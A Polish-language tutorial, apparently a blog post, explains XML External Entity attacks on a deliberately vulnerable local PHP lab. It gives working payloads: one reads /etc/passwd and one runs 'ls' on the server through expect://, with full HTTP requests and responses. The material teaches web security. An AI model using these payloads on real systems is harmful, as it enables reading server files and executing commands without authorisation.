Atak XML External Entities (XXE) na przykładzie podatnej aplikacji

Aby zrozumieć atak XXE, który zajmuje czwarte miejsce w rankingu OWASP top 10, należy najpierw zacząć od formatu XML. W ramach przesyłania danych, niektóre z aplikacji internetowych wykorzystują format XML. Szczególnie ciekawą rzeczą w nim są encje, które można zdefiniować jako „operacje” do podmiany danych. Przykładowo, przy pliku XML zdefiniowanym jako:

<!--?xml version="1.0" ?-->
<!DOCTYPE user [
    <!ENTITY example "The Ripper"> 
]>
<user>
    <name>John</name>
    <surname>&example;</surname>
</user>

Nasze nazwisko między tagami <surname> zostanie podmienione, ponieważ odwołujemy się w nim do wartości encji „example”, która zdefiniowana jest jako „The Ripper”.

Specyfikacja XML pozwala także na czytanie zawartości plików a w niektórych przypadkach nawet na wywoływanie poleceń na serwerze. Przykład payloadu, jeśli aplikacja byłaby podatna, mógłby wystąpać następująco:

<!--?xml version="1.0" ?-->
<!DOCTYPE user [
    <!ENTITY password SYSTEM "file:///etc/passwd">
]>
<user>
    <name>John</name>
    <surname>&password;</surname>
</user>

Słówko kluczowe „SYSTEM” jest informacją, że encja powinna być pobierana z pliku. Payload ostatecznie prowadzi do podatności path travelsal.

Przykład na żywej aplikacji

Przyjrzymy się repozytorium z przykładem podatnej aplikacji napisanej w phpie. Po ściągnięciu, zbudowaniu obrazu dockera i uruchomieniu kontenera, możemy wejść na stronę pod adresem 127.0.0.1:5000. Powinniśmy zobaczyć interfejs jak na screenshocie poniżej.

Po przeanalizowaniu formularza rejestracji w narzędziu burpsuite, możemy zauważyć, że przesyłany request wygląda w sposób następujący:

POST /process.php HTTP/1.1
Host: 127.0.0.1:5000
Content-Length: 164
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="88"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://127.0.0.1:5000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:5000/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<root>
    <name>bugspace</name>
    <tel>000000000</tel>
    <email>bugspace@bugspace.pl</email>
    <password>bugspacePassword</password>
</root>

Jak widzimy, nasze dane są przesyłany w postaci pliku xml. W odpowiedzi dostajemy:

HTTP/1.1 200 OK
Date: Tue, 10 Aug 2021 20:29:23 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.29
Content-Length: 50
Connection: close
Content-Type: text/html

Sorry, bugspace@bugspace.pl is already registered!

Kluczowe jest to, że w odpowiedzi zostaje wyświetlony nasz email. Spróbujmy zatem nieco zmodyfikować nasz request.

POST /process.php HTTP/1.1
Host: 127.0.0.1:5000
Content-Length: 164
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="88"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://127.0.0.1:5000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:5000/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY lsOutput SYSTEM "php://filter/convert.base64-encode/resource=expect://ls" >
]>
<root>
    <name>bugspace</name>
    <tel>000000000</tel>
    <email>&lsOutput;</email>
    <password>bugspacePassword</password>
</root>

Powyższy payload wykonuje polecenie na serwerze. W responsie dostajemy:

HTTP/1.1 200 OK
Date: Tue, 10 Aug 2021 20:32:12 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.29
Vary: Accept-Encoding
Content-Length: 78
Connection: close
Content-Type: text/html

Sorry, aW1nICBpbmRleC5odG1sICBqcyAgcHJvY2Vzcy5waHANCg== is already registered!

Po odszyfrowaniu aW1nICBpbmRleC5odG1sICBqcyAgcHJvY2Vzcy5waHANCg== dowiadujemy się, że nasz „email” to: img index.html js process.php. Oznacza to, że atak powiódł się sukcesem.

Źródła

https://owasp.org/www-project-top-ten/
https://github.com/jbarone/xxelab
https://portswigger.net/web-security/xxe
https://github.com/payloadbox/xxe-injection-payload-list

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany.